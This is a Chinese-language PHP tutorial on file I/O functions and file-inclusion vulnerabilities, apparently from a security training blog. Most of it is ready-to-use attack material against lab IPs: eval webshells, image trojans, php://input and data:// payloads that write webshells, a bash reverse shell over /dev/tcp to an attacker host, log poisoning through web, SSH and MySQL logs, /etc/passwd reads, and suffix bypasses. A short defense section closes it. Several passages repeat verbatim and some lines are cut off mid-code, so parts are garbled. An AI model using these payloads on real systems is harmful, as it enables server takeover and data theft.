本文最后更新于 2024-07-26,文章内容可能已经过时。

文件读写

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

一、函数

1、文件输入输出流:

(1)fopen(): 打开输入输出流

$f = fopen(文件名,mode)
fopen("a.txt","rw")
mode:
r  :  读
w  :  写,如果文件不存在,则创建文件
a  :  追加写
x  :  写,如果文件存在,则返回false
r+ :  读写
w+ :  写读
a+ :  写读
b  :  打开二进制文件
t  : 打开文本文件

(2) fclose(): 关闭输入输出流

fclose($f);

(3)fgets() : 获取文件内容,按行取值。 一般放在循环中取值

while(!feof($f)){
	fgets($f)
}

(4)fread(): 按字节读取文件内容

echo fread($f,1024);

(5)fwrite() : 写入内容:

$f = fopen(文件名,"w");   //执行该代码,立即清空指定文件。如果文件不存在,则创建文件。
fwrite($f,内容);
fclose($f);

(6)fseek() 移动光标

$f = fopen("3.txt","a+");
fwrite($f,"hello woniu\r\n");
fseek($f,0);   //将光标移动到文件最开始位置。
echo fread($f,1024);
fclose($f);


(7)fgetc读取一个字符

$fr=fopen("1.txt","r");
$fw=fopen("2.txt","a+");
fseek($fr,3);//把光标移动到位置3
while(!feof($fr)){

    fwrite($fw,fgetc($fr));
}

fclose($fr);
fclose($fw);

(8)file_get_contents(): 从指定文件中获取内容

echo  file_get_contents(文件名)

(9)file_put_contents(): 向指定文件写入内容

file_put_contents(文件名,内容);   //默认为w模式
file_put_contents(文件名,内容,FILE_APPEND);   //追加模式写入内容

文件包含漏洞

一、概述

在php中,几个包含函数,都可能存在任意文件读操作。

1、函数:

include
inclue_once
require
require_once

如果文件包含使用了用户可控输入:


<?php
    $content = $_GET['content'];
    include $content;
?>

2、文件包含的场景

文件包含使用网站例子:

https://qsvb.net/plugin.php?id=tom_tcpc&site=1&mod=index

  • 系统中需要快速发布,动态显示一些页面。
  • 有些框架中需要这种功能,因为框架需要适应各种不同的场景。

案例代码:

<?php
include 'dbinfo.php';
$sql = "select label,filename from tb_files";
$result = mysqli_query($conn,$sql);

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        ul {  
            list-style-type: none;  
            padding: 0; /* 去除默认的padding */  
            margin: 0; /* 去除默认的margin */  
        }  
  
        ul li {  
            display: inline-block;  
            margin-right: 10px; /* 设置间距 */  
        }
    </style>

    <script>
        function show(inf){
            document.getElementById("infile").value=inf;
            document.forms[0].submit();
            // console.log(document.forms[0]);
        }
    </script>
</head>
<body>
    <ul>
        <?php   
        while($rows = mysqli_fetch_assoc($result)){
        ?>
            <li><a href=javascript:show("<?=$rows['filename']?>")><?=$rows['label']?></a></li>
        <?php
        }
        ?>  

    </ul>
    <div id="content">
        <?php 
            $infilename = @$_GET['infile'];
            if(isset($infilename)){
                include $infilename;
            }
        ?>
    </div>
    <form id="su">
        <input type="hidden" name="infile" id="infile">
    </form>
</body>
</html>
<?php  
   mysqli_close($conn);
?>
<?php
    $submit = @$_POST['submit'];
    if(isset($submit)){
        $label = $_POST['label'];
        $filename = $_FILES['phpfile']['name'];
        $tmpfile = $_FILES['phpfile']['tmp_name'];
        move_uploaded_file($tmpfile,$filename);

        include 'dbinfo.php';
        mysqli_set_charset($conn,'utf8');
        $sql = "insert into tb_files(label,filename)
                    values ('$label','$filename') ";
        $result = mysqli_query($conn,$sql);   
        if($result){
            echo "success";
        }else{
            echo "fail";
        }
        mysqli_close($conn);
    }
?>


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件发布</title>
</head>
<body>
    <form action="pushfile.php" method="post" enctype="multipart/form-data">
        <p>标签名:<input type="text" name="label"></p>
        <p>文件:<input type="file" name="phpfile"></p>
        <p><input type="submit" name="submit"></p>
    </form>
</body>
</html>
CREATE TABLE `tb_files` (
  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',
  `label` varchar(255) DEFAULT NULL,
  `filename` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4;
CREATE TABLE `tb_files` (
  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',
  `label` varchar(255) DEFAULT NULL,
  `filename` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4;
CREATE TABLE `tb_files` (
  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',
  `label` varchar(255) DEFAULT NULL,
  `filename` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4;

3、本地文件包含:

那么,给被包含文件传参数需要使用&在url中,例如&name=zhangsan是传给page3.php的参数
http://192.168.152.128/prepare/testinclude.php?f=page3.php&name=zhangsan
5)图片木马
制作图片马:
在linux中,把?php phpinfo();? 保存在info.php,然后找一张图片,1.jpg放在同一个目录
cat info.php >> 1.jpg,把php代码放在图片后面。
http://192.168.152.128/prepare/testinclude.php?f=1.jpg发现可以phpinfo();在图片后面被执行了,打印出了系统的一些信息

在windows系统中:用如下命令制作图片马:
copy 图片/B + 文件/A 新图片名字

制作gif类型的图片马:
新建一个文件:将扩展名改为gif
编辑该文件:输入内容
GIF89A
?php eval($_POST['code']);?
">

1)包含文本文件(html,js,css,以及各种其他可读文件)
http://192.168.152.128/prepare/testinclude.php?f=/etc/passwd
2)包含图片文件
http://192.168.152.128/prepare/testinclude.php?f=../0.jpg
3)包含php等可执行文件(最后展示的是执行的结果,而不是php的源码)
http://192.168.152.128/prepare/testinclude.php?f=page3.php
4)如果被包含的文件中需要参数,例如:page3.php的代码如下:
<?php
echo 
```php
1)包含文本文件(html,js,css,以及各种其他可读文件)
http://192.168.152.128/prepare/testinclude.php?f=/etc/passwd
2)包含图片文件
http://192.168.152.128/prepare/testinclude.php?f=../0.jpg
3)包含php等可执行文件(最后展示的是执行的结果,而不是php的源码)
http://192.168.152.128/prepare/testinclude.php?f=page3.php
4)如果被包含的文件中需要参数,例如:page3.php的代码如下:
<?php
echo "hello " . $_GET['name'];
?>
那么,给被包含文件传参数需要使用&在url中,例如&name=zhangsan是传给page3.php的参数
http://192.168.152.128/prepare/testinclude.php?f=page3.php&name=zhangsan
5)图片木马
制作图片马:
在linux中,把<?php phpinfo();?> 保存在info.php,然后找一张图片,1.jpg放在同一个目录
cat info.php >> 1.jpg,把php代码放在图片后面。
http://192.168.152.128/prepare/testinclude.php?f=1.jpg发现可以phpinfo();在图片后面被执行了,打印出了系统的一些信息

在windows系统中:用如下命令制作图片马:
copy 图片/B + 文件/A 新图片名字

制作gif类型的图片马:
新建一个文件:将扩展名改为gif
编辑该文件:输入内容
GIF89A
<?php eval($_POST['code']);?>
```php
1)包含文本文件(html,js,css,以及各种其他可读文件)
http://192.168.152.128/prepare/testinclude.php?f=/etc/passwd
2)包含图片文件
http://192.168.152.128/prepare/testinclude.php?f=../0.jpg
3)包含php等可执行文件(最后展示的是执行的结果,而不是php的源码)
http://192.168.152.128/prepare/testinclude.php?f=page3.php
4)如果被包含的文件中需要参数,例如:page3.php的代码如下:
<?php
echo 

4、远程文件包含:

那么需要这样来传递参数给page3.php
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.php?name=zhangsan%26age=19
">

在/opt/lampp/etc/php.ini中,把两个参数的值修改为如下,打开两个开关
    allow_url_include=On
    allow_url_fopen=On

1)远程包含文本文件(html,js,css,以及各种其他可读文件)
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/a.txt
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/../applications.html
2)远程包含php文件(注意php文件是先在被包含的服务器上执行,把结果远程包含)
例如:有个page3.php的页面在远程服务器,代码如下:
<?php 
phpinfo();//打印php文件所在的服务器的一些信息
?>
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.php
这样我们看到的就不是被攻击者上的phpinfo()信息,要想看到被攻击者服务器上的信息,我们不能把被包含的远程文件命名为php类型的,可以是txt类型,但是里面是php代码:
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.txt
page3.txt的内容如下:
<?php 
phpinfo();//打印php文件所在的服务器的一些信息
?>
此时phpinfo();代码会先被包含的被害者的服务器上,再进行执行php代码,这样就看到了被害者机器的phpinfo()打印的信息;

3)远程包含php文件,并且远程的php文件需要参数,那么是用?,如果有多个参数,那么参数之间要使用%26隔开
例如:远程被包含的page3.php代码是:
<?php 
echo 
```php
在/opt/lampp/etc/php.ini中,把两个参数的值修改为如下,打开两个开关
    allow_url_include=On
    allow_url_fopen=On

1)远程包含文本文件(html,js,css,以及各种其他可读文件)
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/a.txt
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/../applications.html
2)远程包含php文件(注意php文件是先在被包含的服务器上执行,把结果远程包含)
例如:有个page3.php的页面在远程服务器,代码如下:
<?php 
phpinfo();//打印php文件所在的服务器的一些信息
?>
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.php
这样我们看到的就不是被攻击者上的phpinfo()信息,要想看到被攻击者服务器上的信息,我们不能把被包含的远程文件命名为php类型的,可以是txt类型,但是里面是php代码:
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.txt
page3.txt的内容如下:
<?php 
phpinfo();//打印php文件所在的服务器的一些信息
?>
此时phpinfo();代码会先被包含的被害者的服务器上,再进行执行php代码,这样就看到了被害者机器的phpinfo()打印的信息;

3)远程包含php文件,并且远程的php文件需要参数,那么是用?,如果有多个参数,那么参数之间要使用%26隔开
例如:远程被包含的page3.php代码是:
<?php 
echo "hello ".$_GET['name'].",age is ".$_GET['age'];
?>
那么需要这样来传递参数给page3.php
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.php?name=zhangsan%26age=19
```php
在/opt/lampp/etc/php.ini中,把两个参数的值修改为如下,打开两个开关
    allow_url_include=On
    allow_url_fopen=On

1)远程包含文本文件(html,js,css,以及各种其他可读文件)
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/a.txt
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/../applications.html
2)远程包含php文件(注意php文件是先在被包含的服务器上执行,把结果远程包含)
例如:有个page3.php的页面在远程服务器,代码如下:
<?php 
phpinfo();//打印php文件所在的服务器的一些信息
?>
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.php
这样我们看到的就不是被攻击者上的phpinfo()信息,要想看到被攻击者服务器上的信息,我们不能把被包含的远程文件命名为php类型的,可以是txt类型,但是里面是php代码:
http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.txt
page3.txt的内容如下:
<?php 
phpinfo();//打印php文件所在的服务器的一些信息
?>
此时phpinfo();代码会先被包含的被害者的服务器上,再进行执行php代码,这样就看到了被害者机器的phpinfo()打印的信息;

3)远程包含php文件,并且远程的php文件需要参数,那么是用?,如果有多个参数,那么参数之间要使用%26隔开
例如:远程被包含的page3.php代码是:
<?php 
echo 

注意:远程包含php文件的时候,php文件是先在远程服务器上执行,然后把结果包含进来

image-20240303110908874

image-20240303105915420

注意:如果没有开启,看到类似的警告,不能够做远程文件包含:

image-20231116095547647

二、伪协议

各种伪协议使用的前提条件:

伪协议 allow_url_fopen allow_url_include
php://filter on/off on
php://input on/off on
data:// on on
zip:// on/off on/off
phar:// on/off on/off

1、php://   输入/输出流

```php
1)php://filter
以base64的格式显示输出,可以获取php文件的源代码,php代码不会被执行。
注意:返回的php源码被使用base64转码,需要再一次转回成普通编码格式才能阅读

http://192.168.152.128/prepare/testinclude.php?f=php://filter/read=convert.base64-encode/resource=page3.php

2)php://input   从post请求体中获取全部内容。
注意:如果请求的内容中包含有php的代码,那么php的代码会被执行。
----写入一句话木马
http://192.168.152.128/prepare/testinclude.php?f=php://input
post正文:(注意eval中的php代码要分成两个字符串拼接,否则就会直接被执行,不会写入到文件了)
这段代码写入了一句话木马到服务器:
<?php file_put_contents('/opt/lampp/htdocs/prepare/mm.php','<?php eval($_'.'POST[code]);?>')?>
----读取任意文件
http://192.168.152.128/prepare/testinclude.php?f=php://input
post正文:
<?php  echo file_get_contents('/etc/passwd')?>

2、data://      只能接收get请求数据,把用户输入的内容显示在页面上,如果输入内容中含有php代码,会被执行

    ```php
    //显示普通文本
    http://192.168.152.128/prepare/testinclude.php?f=data://text/plain,helloworld
    //执行php代码
    http://192.168.152.128/prepare/testinclude.php?f=data://text/plain,<?php%20phpinfo();?>
    //写入一句话木马
    http://192.168.152.128/prepare/testinclude.php?f=data://text/plain,<?php file_put_contents("/opt/lampp/htdocs/prepare/muma1.php","<?php eval($"."_POST['code'])?>"); ?>
  
    //反弹shell
    注意:bashshell中的&需要转码成%26
    http://192.168.152.128/prepare/testinclude.php?f=data://text/plain,<?php system("bash -i >%26 /dev/tcp/192.168.152.129/4444 0>%261"); ?>
    此时就可以在攻击者的shell窗口操作命令控制被攻击的主机了。
    退出使用exit命令3、phar://   读取压缩文件中的文件:
    ```

    ```php
    安装zip工具
    yum install -y zip
    创建一个phpinfo.php 内容是:
    <?php phpinfo();?>
    把phpinfo.php 添加到压缩文件中:
    zip info.zip phpinfo.php
    访问压缩文件中的php文件
    http://192.168.152.128/prepare/testinclude.php?f=phar:///opt/lampp/htdocs/prepare/info.zip/phpinfo.php
  
    读压缩文件里面的任意文件,不区分扩展名。上面的请求获取到了info.zip压缩文件中的phpinfo.php并执行
    另外,如果在压缩文件里面有多层文件加,那么需要把文件加名称也加到访问路劲里:
    phar:///opt/lampp/htdocs/prepare/info.zip/文件夹1/文件夹2/phpinfo.php
  
    注意:这里的压缩文件的扩展名不一定非要zip,tar.gz这些,可以是任何扩展名,例如jpg,png,只要是压缩文件就可以。例如我们把刚才的info.zip改为info.png,再次访问一下,发现依然可以执行成功
    http://192.168.152.128/prepare/testinclude.php?f=phar:///opt/lampp/htdocs/prepare/info.png/phpinfo.php
    下面是多级目录的例子
    http://192.168.152.128/prepare/testinclude.php?f=phar:///opt/lampp/htdocs/prepare/infos.jpg/t1/t2/phpinfo.php
    ```

4、zip://     跟phar类似,但是功能少弱一些:

    ```php
    1.压缩文件与文件之间必须使用%23,不能使用/
    2.压缩文件只能是单级目录,不能有多级目录
    http://192.168.152.128/prepare/testinclude.php?f=zip:///opt/lampp/htdocs/prepare/info.png%23phpinfo.php
    ```

### 三、各种日志文件包含

1、web服务器日志的文件包含:/opt/lampp/logs/access_log

    ```php
    1.将一句话木马写入日志文件:
    在浏览器访问地址
    http://192.168.152.128/prepare/testinclude.php?f=<?php eval($_POST[code]);?>
    通过抓包(burp)工具,拦截请求。把url被编码的字符<,空格,> 都被url编码了,需要改成原来的<,>和空格,保证写入到access_log日志文件中的是可执行的php代码
    2.利用文件包含访问日志文件:
    http://192.168.152.128/prepare/testinclude.php?f=/opt/lampp/logs/access_log
    post正文:
    code=phpinfo();

image-20240303170351956

image-20240303170927617

2、SSH登录日志利用:

1.日志文件:/var/log/secure
2.windows  cmd命令提示符输入: ssh '<?php eval($_POST[code]);?>'@192.168.32.129
3.日志记录:
Nov 16 16:34:52 localhost sshd[8629]: Invalid user <?php eval($_POST[code]);?> from 192.168.32.1 port 51151

payload:
http://192.168.32.129/secure21/php/includedemo.php?content=/var/log/secure
post正文:
code=phpinfo();
cmd

1.日志文件:/var/log/secure
2.windows  cmd命令提示符输入: ssh '<?php eval($_POST[code]);?>'@192.168.32.129
3.日志记录:
Nov 16 16:34:52 localhost sshd[8629]: Invalid user <?php eval($_POST[code]);?> from 192.168.32.1 port 51151

payload:
http://192.168.32.129/secure21/php/includedemo.php?content=/var/log/secure
post正文:
code=phpinfo();

1.日志文件:/var/log/secure
2.windows  cmd命令提示符输入: ssh '<?php eval($_POST[code]);?>'@192.168.32.129
3.日志记录:
Nov 16 16:34:52 localhost sshd[8629]: Invalid user <?php eval($_POST[code]);?> from 192.168.32.1 port 51151

payload:
http://192.168.32.129/secure21/php/includedemo.php?content=/var/log/secure
post正文:
code=phpinfo();

3、mysql日志:

    ```sql
    1.开启方式:my.cnf或my.ini 添加三个参数
    log-output=FILE 
    general-log=1  
    general_log_file=xxxx.log
    2.写入:在navicat 输入:select "<?php phpinfo();?>"
    3.请求url
    http://localhost/hz02/posts/test.php?f=C:/ProgramData/MySQL/MySQL Server 5.7/Data/PC201904210943T.log

四、反弹shell

将存在漏洞的项目所在操作系统的命令交互放到攻击者本地:

1.kali: 攻击者系统 ,开启监听

nc -lvp  4444

nc -lvp 4444

```bash
nc -lvp  4444

2.反弹命令:在被操控的系统中执行命令

bash -i >& /dev/tcp/ip/port 0>&1

bash -i >& /dev/tcp/ip/port 0>&1

bash -i >& /dev/tcp/ip/port 0>&1

3.在文件包含漏洞页面使用反弹:(注意要把&编码为%26)

%26 /dev/tcp/192.168.88.130/4444 0>%261"); ?>
">```bash
http://192.168.152.128/prepare/testinclude.php?f=data://text/plain,

五、文件包含防御

1、文件包含不要使用变量传入被包含的文件,直接写死文件名,也就是说被包含的文件名不能是用户指定的。(这种方式就没办法绕过了)

使用这种形式:include 'dbinfo.php';
不要使用这种形式:include $_GET['f'];

2、可以根据传入的变量,指定被包含的文件(这种方式就没办法绕过了)

if($id==1){
  include 'aa.php';
}
if($id==2){
  include 'bb.php';
}
if($id==1){
  include 'aa.php';
}
if($id==2){
  include 'bb.php';
}

3、指定被包含文件的前缀路径

include '/opt/lampp/htdocs/hz02/posts/upload/'.$_GET['f'];

这种方式可以通过目录穿越绕过,例如:

要是想包含/etc/passwd文件,如果直接访问192.168.80.128/hz02/posts/includephp.php?f=/etc/passwd
此时会报错,因为传入的/etc/passwd前面会被加上路径'/opt/lampp/htdocs/hz02/posts/upload/etc/passwd,这样反而不能访问到/etc/passwd,此时我们采用目录穿越的方式,前面增加任意多个../,尽量多加一点,这样可以抵消路径前缀中的父目录层级数量
例如:
192.168.80.128/hz02/posts/includephp.php?f=../../../../../../../../../../../etc/passwd

要是想包含/etc/passwd文件,如果直接访问192.168.80.128/hz02/posts/includephp.php?f=/etc/passwd
此时会报错,因为传入的/etc/passwd前面会被加上路径'/opt/lampp/htdocs/hz02/posts/upload/etc/passwd,这样反而不能访问到/etc/passwd,此时我们采用目录穿越的方式,前面增加任意多个../,尽量多加一点,这样可以抵消路径前缀中的父目录层级数量
例如:
192.168.80.128/hz02/posts/includephp.php?f=../../../../../../../../../../../etc/passwd

要是想包含/etc/passwd文件,如果直接访问192.168.80.128/hz02/posts/includephp.php?f=/etc/passwd
此时会报错,因为传入的/etc/passwd前面会被加上路径'/opt/lampp/htdocs/hz02/posts/upload/etc/passwd,这样反而不能访问到/etc/passwd,此时我们采用目录穿越的方式,前面增加任意多个../,尽量多加一点,这样可以抵消路径前缀中的父目录层级数量
例如:
192.168.80.128/hz02/posts/includephp.php?f=../../../../../../../../../../../etc/passwd

4、指定文件的后缀名


//给传入的参数增加了.jpg 的后缀名称
include $_GET['f'].".jpg"

这个防御方式也有办法进行绕过

1、如果是本地文件包含,可以使用phar://伪协议绕过
首先,制作一个图片马,例如名字叫tupian_muma.jpg,里面含有代码<?php phpinfo();?>
然后,把这个图片马制作成压缩文件muma.zip
访问的url是:
http://192.168.80.128/hz02/posts/upload/finclude.php?f=phar:////opt/lampp/htdocs/hz02/posts/upload/muma.zip/tupian_muma
可以看出最后我们没有扩展名,只是写了tupian_muma,这样在include的时候,就会拼接上后面的.jpg,所以实际上访问的就是muma.zip这个压缩文件中的图片马文件tupian_muma.jpg。

2、如果是网络文件包含,可以采取?方式绕过

    http://192.168.152.128/prepare/testinclude.php?f=http://192.168.1.27/prepare/page3.txt?a=1
    攻击者服务器是192.168.1.27,page3.txt的内容如下:
    <?php phpinfo();?>
    可以看出a=1被认为是传给page3.txt的参数了,结果拼接在include之后就是
    http://192.168.1.27/prepare/page3.txt?a=1.jpg
    其实,被远程包含的文件还是http://192.168.1.27/prepare/page3.txt

同时指定前缀路径和后缀扩展名,只有巧合的时候才能绕过,即:文件或图片上传的路径正好在前缀路径中或子目录里,后缀名和上传文件的扩展名一样。所以,这种情况基本算是不能绕过。

5、禁用敏感函数

在php.ini 中设置disable_functions禁用system,exec等敏感函数